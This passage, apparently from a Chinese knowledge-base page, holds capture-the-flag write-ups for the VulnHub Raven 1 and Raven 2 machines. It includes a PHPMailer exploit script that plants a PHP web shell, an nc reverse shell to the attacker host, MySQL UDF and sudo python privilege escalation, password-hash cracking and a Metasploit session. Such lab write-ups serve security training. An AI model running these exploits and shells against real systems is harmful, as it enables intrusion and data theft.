mysql> insert into foo values(load_file('/tmp/1518.so'));
Query OK, 1 row affected (0.00 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
Query OK, 1 row affected (0.01 sec)

mysql> create function do_system returns integer soname '1518.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)
```

现在，遍历目录/tmp并使用find程序执行命令。

``` bash
michael@Raven:/tmp$ touch raj
michael@Raven:/tmp$ find raj -exec "whoami" \;
root
michael@Raven:/tmp$ find raj -exec "/bin/sh" \;
# id
uid=1000(michael) gid=1000(michael) euid=0(root) groups=1000(michael),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
# whoami
root
# cd /root
# ls
flag4.txt
# cat flag4.txt 
______                      

| ___ \                     

| |_/ /__ ___   _____ _ __  

|    // _` \ \ / / _ \ '_ \ 

| |\ \ (_| |\ V /  __/ | | |

\_| \_\__,_| \_/ \___|_| |_|

                            
flag4{715dea6c055b9fe3337544932f2941ce}

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

Hit me up on Twitter and let me know what you thought: 

@mccannwj / wjmccann.github.io
```

到这一步找到了第二个flag

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub212.jpg)


#### 提权方法二

如上所述到达MySQL Shell，然后采用替代方法。查看所有数据库，并从“WordPress”数据库中的wp_users表中转储用户名

``` bash
mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.00 sec)

mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
| ID | user_login | user_pass                          | user_nicename | user_email        | user_url | user_registered     | user_activation_key | user_status | display_name   |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
|  1 | michael    | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael       | michael@raven.org |          | 2018-08-12 22:49:12 |                     |           0 | michael        |
|  2 | steven     | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven        | steven@raven.org  |          | 2018-08-12 23:31:16 |                     |           0 | Steven Seagull |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
2 rows in set (0.00 sec)
```

发现了两个哈希值，但是由于已经知道了Michael的密码，因此使用hashcat通过将哈希值粘贴到名为“password.txt”的文本文件中来破解了Steven的密码。
由于gpu性能太强，一秒出密码

``` bash
D:\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -a 0 -m 400 password.txt D:/wordlists/rockyou.txt
hashcat (v5.1.0) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
* Device #2: Intel's OpenCL runtime (GPU only) is currently broken.
             We are waiting for updated OpenCL drivers from Intel.
             You can use --force to override, but do not report related errors.
nvmlInit(): Unknown Error

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1070, 2048/8192 MB allocatable, 16MCU

OpenCL Platform #2: Intel(R) Corporation
========================================
* Device #2: Intel(R) UHD Graphics 630, skipped.
* Device #3: Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz, skipped.

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Temperature abort trigger set to 90c

Dictionary cache hit:
* Filename..: D:/wordlists/rockyou.txt
* Passwords.: 14344360
* Bytes.....: 139921318
* Keyspace..: 14344360

$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/:pink84

Session..........: hashcat
Status...........: Cracked
Hash.Type........: phpass, WordPress (MD5), phpBB3 (MD5), Joomla (MD5)
Hash.Target......: $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
Time.Started.....: Fri Feb 14 19:47:16 2020 (1 sec)
Time.Estimated...: Fri Feb 14 19:47:17 2020 (0 secs)
Guess.Base.......: File (D:/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1114.4 kH/s (7.11ms) @ Accel:512 Loops:128 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 524288/14344360 (3.66%)
Rejected.........: 0/524288 (0.00%)
Restore.Point....: 0/14344360 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:8064-8192
Candidates.#1....: 123456 -> chadj85
Hardware.Mon.#1..: N/A

Started: Fri Feb 14 19:47:10 2020
Stopped: Fri Feb 14 19:47:19 2020
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub213.jpg)

得到密码为pink84

当然也可以用john来破解，更加的方便，但是所需时间更长

``` bash
root@kali:~/vulnhub/raven1# john hash
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
pink84           (?)
1g 0:00:01:17 DONE 3/3 (2020-02-14 06:52) 0.01287g/s 47616p/s 47616c/s 47616C/s poslus..pingar
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
```

登录到steven的shell并运行sudo -l命令，发现Python不需要root权限即可运行。因此，使用python的单行代码生成了python PTY shell。

``` bash
michael@Raven:/tmp$ su steven
Password: 
$ sudo -l
Matching Defaults entries for steven on raven:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@Raven:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@Raven:/tmp# whoami
root
root@Raven:/tmp#
```

可以看到成功的提升到了root权限的shell

``` bash
root@Raven:/tmp# find / -name "flag*" 2>/dev/null
/var/www/flag2.txt
/root/flag4.txt
/usr/share/doc/apache2-doc/manual/tr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ja/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ko/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/zh-cn/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/de/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/es/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/da/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/pt-br/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/fr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/en/rewrite/flags.html
/sys/devices/pci0000:00/0000:00:11.0/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
```

发现还是只有两个flag文件

``` bash
/var/www/flag2.txt
/root/flag4.txt
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub214.jpg)

#### 继续寻找剩下的两个flag

通过目录扫描发现下面的url

``` bash
http://192.168.56.118/service.html
```

右键查看源码，发现flag

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub215.jpg)

``` bash
<!-- flag1{b9bbcb33e11b80be759c4e844862482d} -->
```

还剩下最后一个flag，再次连接数据库，进入数据库查找

``` bash
root@Raven:~# mysql -uroot -pR@v3nSecurity
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 74
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| wordpress          |
+--------------------+
4 rows in set (0.00 sec)

mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.00 sec)

mysql> select * from wp_posts;
+----+-------------+---------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------+--------------+-------------+----------------+-------------+---------------+---------------+---------+--------+---------------------+---------------------+-----------------------+-------------+------------------------------------------------------------------+------------+-----------+----------------+---------------+
| ID | post_author | post_date           | post_date_gmt       | post_content                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | post_title   | post_excerpt | post_status | comment_status | ping_status | post_password | post_name     | to_ping | pinged | post_modified       | post_modified_gmt   | post_content_filtered | post_parent | guid                                                             | menu_order | post_type | post_mime_type | comment_count |
+----+-------------+---------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------+--------------+-------------+----------------+-------------+---------------+---------------+---------+--------+---------------------+---------------------+-----------------------+-------------+------------------------------------------------------------------+------------+-----------+----------------+---------------+
|  1 |           1 | 2018-08-12 22:49:12 | 2018-08-12 22:49:12 | Welcome to WordPress. This is your first post. Edit or delete it, then start writing!                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Hello world! |              | publish     | open           | open        |               | hello-world   |         |        | 2018-08-12 22:49:12 | 2018-08-12 22:49:12 |                       |           0 | http://192.168.206.131/wordpress/?p=1                            |          0 | post      |                |             1 |
|  2 |           1 | 2018-08-12 22:49:12 | 2018-08-12 22:49:12 | This is an example page. It's different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this:

<blockquote>Hi there! I'm a miner by day, aspiring actor by night, and this is my website. I live in Kalgoorlie, have a great dog named Red, and I like yabbies. (And gettin' a tan.)</blockquote>

...or something like this:

<blockquote>The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickeys to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.</blockquote>

As a new WordPress user, you should go to <a href="http://192.168.206.131/wordpress/wp-admin/">your dashboard</a> to delete this page and create new pages for your content. Have fun! | Sample Page  |              | publish     | closed         | open        |               | sample-page   |         |        | 2018-08-12 22:49:12 | 2018-08-12 22:49:12 |                       |           0 | http://192.168.206.131/wordpress/?page_id=2                      |          0 | page      |                |             0 |
|  4 |           1 | 2018-08-13 01:48:31 | 0000-00-00 00:00:00 | flag3{afc01ab56b50591e7dccf93122770cd2}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | flag3        |              | draft       | open           | open        |               |               |         |        | 2018-08-13 01:48:31 | 2018-08-13 01:48:31 |                       |           0 | http://raven.local/wordpress/?p=4                                |          0 | post      |                |             0 |
|  5 |           1 | 2018-08-12 23:31:59 | 2018-08-12 23:31:59 | flag4{715dea6c055b9fe3337544932f2941ce}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | flag4        |              | inherit     | closed         | closed      |               | 4-revision-v1 |         |        | 2018-08-12 23:31:59 | 2018-08-12 23:31:59 |                       |           4 | http://raven.local/wordpress/index.php/2018/08/12/4-revision-v1/ |          0 | revision  |                |             0 |
|  7 |           2 | 2018-08-13 01:48:31 | 2018-08-13 01:48:31 | flag3{afc01ab56b50591e7dccf93122770cd2}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | flag3        |              | inherit     | closed         | closed      |               | 4-revision-v1 |         |        | 2018-08-13 01:48:31 | 2018-08-13 01:48:31 |                       |           4 | http://raven.local/wordpress/index.php/2018/08/13/4-revision-v1/ |          0 | revision  |                |             0 |
+----+-------------+---------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------+--------------+-------------+----------------+-------------+---------------+---------------+---------+--------+---------------------+---------------------+-----------------------+-------------+------------------------------------------------------------------+------------+-----------+----------------+---------------+
5 rows in set (0.00 sec)
```

最后一个flag,flag3终于找到

``` bash
flag3{afc01ab56b50591e7dccf93122770cd2}
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub216.jpg)

#### 使用msf进行getshell的方法

``` bash
msf5 exploit(multi/http/phpmailer_arg_injection) > show options

Module options (exploit/multi/http/phpmailer_arg_injection):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS      192.168.56.118   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT       80               yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI   /contact.php     yes       Path to the application root
   TRIGGERURI  /                no        Path to the uploaded payload
   VHOST                        no        HTTP server virtual host
   WEB_ROOT    /var/www/html    yes       Path to the web root


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.102   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PHPMailer <5.2.18


msf5 exploit(multi/http/phpmailer_arg_injection) > exploit

[*] Started reverse TCP handler on 192.168.56.102:4444 
[*] Writing the backdoor to /var/www/html/XTXxkX1w.php
[*] Sleeping before requesting the payload from: /XTXxkX1w.php
[*] Waiting for up to 300 seconds to trigger the payload
[*] Sending stage (38288 bytes) to 192.168.56.118
[*] Meterpreter session 2 opened (192.168.56.102:4444 -> 192.168.56.118:34607) at 2020-02-14 08:02:30 -0500
[+] Deleted /var/www/html/XTXxkX1w.php
[+] Successfully triggered the payload

meterpreter > sysinfo
Computer    : Raven
OS          : Linux Raven 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64
Meterpreter : php/linux
meterpreter > shell
Process 17423 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
ls
Security - Doc
about.html
contact.php
contact.zip
css
elements.html
fonts
img
index.html
js
scss
service.html
team.html
vendor
wordpress
```

#### 知识点总结

 - phpmailer漏洞getshell
 - wordpress用户名泄露
 - mysql udf提权
 - python suid提权

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end Raven-1 -->

</details>

<a id="case-raven-2"></a>

## PHPMailer 参数与 UDF 动态库

上传入口之后，原链编译并加载 UDF 动态库；插件目录、setuid 程序和数据库版本分别限制后续步骤。

<p class="kb-provenance">来源 Raven-2 · 原记录 2020-03-26 · 23 个代码块 · 7 处图片引用</p>

<details class="kb-evidence" id="record-raven-2">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Raven-2 -->

#### 名称
名称：Raven: 2
发布日期：2018年11月9日

#### 下载

 - Download: https://drive.google.com/open?id=1fXp4JS8ANOeClnK63LwgKXl56BqFJ23z
 - Download (Mirror): https://download.vulnhub.com/raven/Raven2.ova
 - Download (Torrent): https://download.vulnhub.com/raven/Raven2.ova.torrent



#### 描述

Raven 2是中等级别的boot2root VM。有四个要获取的flag。多次攻击破坏之后，Raven Security采取了额外的措施来加固Web服务器，以防止黑客入侵。您是否仍然可以crush Raven？

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.*
Nmap scan report for 192.168.56.119
Host is up (0.00022s latency).
MAC Address: 08:00:27:A4:D6:91 (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -sV -v -p- 192.168.56.119
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
58132/tcp open  status  1 (RPC #100024)
```

``` bash
root@kali:~# nmap -A -v -p 22,80,111,58132 192.168.56.119 --script=vuln -T4
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.119
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.56.119:80/
|     Form id: 
|     Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880ade1ac87bd9c93a&id=92a4423d01
|     
|     Path: http://192.168.56.119:80/service.html
|     Form id: 
|     Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880ade1ac87bd9c93a&id=92a4423d01
|     
|     Path: http://192.168.56.119:80/contact.php
|     Form id: myform
|     Form action: 
|     
|     Path: http://192.168.56.119:80/contact.php
|     Form id: 
|     Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880ade1ac87bd9c93a&id=92a4423d01
|     
|     Path: http://192.168.56.119:80/index.html
|     Form id: 
|     Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880ade1ac87bd9c93a&id=92a4423d01
|     
|     Path: http://192.168.56.119:80/wordpress/
|     Form id: search-form-5e7c8d72d17d7
|_    Form action: http://raven.local/wordpress/
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /wordpress/: Blog
|   /wordpress/wp-login.php: Wordpress login page.
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|   /img/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|   /manual/: Potentially interesting folder
|_  /vendor/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|_http-server-header: Apache/2.4.10 (Debian)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
111/tcp   open  rpcbind 2-4 (RPC #100000)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35360/udp6  status
|   100024  1          35599/tcp6  status
|   100024  1          46931/udp   status
|_  100024  1          58132/tcp   status
58132/tcp open  status  1 (RPC #100024)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
```

上nikto

``` bash
root@kali:~# nikto -C all -h 192.168.56.119
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-6694: /.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version.
+ OSVDB-3233: /icons/README: Apache default file found.
+ Uncommon header 'link' found, with contents: <http://raven.local/wordpress/index.php/wp-json/>; rel="https://api.w.org/"
+ /wordpress/: A Wordpress installation was found.
```

网站使用wordpress搭建的，现在把raven.local添加到kali的/etc/hosts文件中和windows的hosts文件中。。。
用dirbuster扫描网站，使用medium字典，看看能得到什么。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub217.jpg)

#### Flag1

/vendor目录下有一个PATH文件，里面是第一个flag

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub218.jpg)

``` bash
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
```

#### PHPMailer<5.2.18-远程命令执行

看起来该站点还使用PHPMailer 5.2.16。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub219.jpg)

5.2.18之前的PHPMailer版本易于执行远程命令

为此编写一个bash脚本，使用curl作为漏洞利用的主要驱动程序。

exploit.sh
``` bash
TARGET=http://raven.local/contact.php

DOCROOT=/var/www/html
FILENAME=backdoor.php
LOCATION=$DOCROOT/$FILENAME

STATUS=$(curl -s \
              --data-urlencode "name=Hackerman" \
              --data-urlencode "email=\"hackerman\\\" -oQ/tmp -X$LOCATION blah\"@badguy.com" \
              --data-urlencode "message=<?php echo shell_exec(\$_GET['cmd']); ?>" \
              --data-urlencode "action=submit" \
              $TARGET | sed -r '146!d')

if grep 'instantiate' &>/dev/null <<<"$STATUS"; then
  echo "[+] Check ${LOCATION}?cmd=[shell command, e.g. id]"
else
  echo "[!] Exploit failed"
fi
```

执行脚本

``` bash
root@kali:~/vulnhub/raven2# ./exploit.sh 
[+] Check /var/www/html/backdoor.php?cmd=[shell command, e.g. id]
```

之后成功运行命令如下图所示

``` bash
view-source:http://raven.local/backdoor.php?cmd=whoami
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub220.jpg)

#### 低权限的shell

使用nc的-e选项反弹一个低权限的shell

``` bash
view-source:http://raven.local/backdoor.php?cmd=nc%20192.168.56.102%205566%20-e%20/bin/bash
```

``` bash
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
connect to [192.168.56.102] from raven.local [192.168.56.119] 44985
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@Raven:/var/www/html$ id                                              
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Raven:/var/www/html$ whoami
whoami
www-data
```

现在获取了一个低权限的shell


#### Flag 2

第二个flag位于www-data的home目录中。

``` bash
ww-data@Raven:/var/www$ ls
ls
flag2.txt  html
www-data@Raven:/var/www$ cat flag2.txt
cat flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}
```

#### Flag 3

使用find命令寻找flag3

``` bash
www-data@Raven:/var/www$ find / -type f -name 'flag[3-4].*' 2>/dev/null
find / -type f -name 'flag[3-4].*' 2>/dev/null
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
```

浏览器访问

``` bash
http://raven.local/wordpress/wp-content/uploads/2018/11/flag3.png
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub221.jpg)

到此得到第3个flag

#### 提权

在对www-data的帐户进行枚举时，注意到MySQL以root身份运行。但是由于此版本的MySQL是5.5，所以不能使用流行的EDB-ID 1518用户定义函数或UDF。

``` bash
root       921  0.0 10.1 552000 51240 ?        Sl   01:02   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=root --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
```

``` bash
www-data@Raven:/var/www$ dpkg -l | grep mysql
dpkg -l | grep mysql
ii  libdbd-mysql-perl              4.028-2+deb8u2                     amd64        Perl5 database interface to the MySQL database
ii  libmysqlclient18:amd64         5.5.60-0+deb8u1                    amd64        MySQL database client library
ii  mysql-client-5.5               5.5.60-0+deb8u1                    amd64        MySQL database client binaries
ii  mysql-common                   5.5.60-0+deb8u1                    all          MySQL database common files, e.g. /etc/mysql/my.cnf
ii  mysql-server                   5.5.60-0+deb8u1                    all          MySQL database server (metapackage depending on the latest version)
ii  mysql-server-5.5               5.5.60-0+deb8u1                    amd64        MySQL database server binaries and system database setup
ii  mysql-server-core-5.5          5.5.60-0+deb8u1                    amd64        MySQL database server binaries
ii  php5-mysqlnd                   5.6.36+dfsg-0+deb8u1               amd64        MySQL module for php5 (Native Driver)
ii  php5-mysqlnd-ms                1.6.0-1+b1                         amd64        MySQL replication and load balancing module for PHP
```

从wp-config.php文件中得到mysql的账号密码登录

``` bash
www-data@Raven:/var/www/html$ grep -A3 -B3 root wordpress/wp-config.php
grep -A3 -B3 root wordpress/wp-config.php
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
```

 - 【提权方法1】：

有一个GitHub仓库[UDF-Repository-for-MySQL](https://github.com/mysqludf)，其中托管着许多5.5兼容的UDF，可以使用它们来完成提权。选择[lib_mysqludf_sys](https://github.com/mysqludf/lib_mysqludf_sys)，这是一个具有与操作系统交互功能的UDF库。


 - 【提权方法2】：

MySQL利用远程root代码执行提权

更多信息参考[MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662](https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html)

因此，搜索UDF动态库漏洞利用程序，并在漏洞利用数据库中将其命名为“1518.c”。

[exploit-1518](https://www.exploit-db.com/exploits/1518)

该漏洞利用是通过将原始C代码编译为“.so”文件，然后将其传输到受害计算机并利用MySQL漏洞来运行的。
第一步是对其进行编译。

``` bash
root@kali:~/vulnhub/raven2/priviligesc# searchsploit 1518
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)           | exploits/linux/local/1518.c
root@kali:~/vulnhub/raven2/priviligesc# locate 1518.c
/root/vulnhub/raven1/1518.c
/usr/share/exploitdb/exploits/linux/local/1518.c
root@kali:~/vulnhub/raven2/priviligesc# cp /usr/share/exploitdb/exploits/linux/local/1518.c .
root@kali:~/vulnhub/raven2/priviligesc# ls
1518.c
root@kali:~/vulnhub/raven2/priviligesc# gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
root@kali:~/vulnhub/raven2/priviligesc# ls
1518.c  1518.so
```

将该“.so”文件传输到受害者计算机的/tmp目录下。

``` bash
root@kali:~/vulnhub/raven2/priviligesc# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
192.168.56.1 - - [26/Mar/2020 03:52:25] "GET / HTTP/1.1" 200 -
192.168.56.1 - - [26/Mar/2020 03:52:33] "GET /1518.so HTTP/1.1" 200 -
192.168.56.119 - - [26/Mar/2020 03:52:50] "GET /1518.so HTTP/1.1" 200 -
```

``` bash
www-data@Raven:/tmp$ wget http://192.168.56.102/1518.so
wget http://192.168.56.102/1518.so
converted 'http://192.168.56.102/1518.so' (ANSI_X3.4-1968) -> 'http://192.168.56.102/1518.so' (UTF-8)
--2020-03-27 02:52:49--  http://192.168.56.102/1518.so
Connecting to 192.168.56.102:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19104 (19K) [application/octet-stream]
Saving to: '1518.so'

1518.so             100%[=====================>]  18.66K  --.-KB/s   in 0s     

2020-03-27 02:52:49 (554 MB/s) - '1518.so' saved [19104/19104]

www-data@Raven:/tmp$ chmod 777 *
chmod 777 *
```

 - 使用命令行登录mysql，利用漏洞和mysql命令行及so文件进行提权,如下所示

``` bash
www-data@Raven:/tmp$ mysql -uroot -p'R@v3nSecurity'
mysql -uroot -p'R@v3nSecurity'
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 37
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
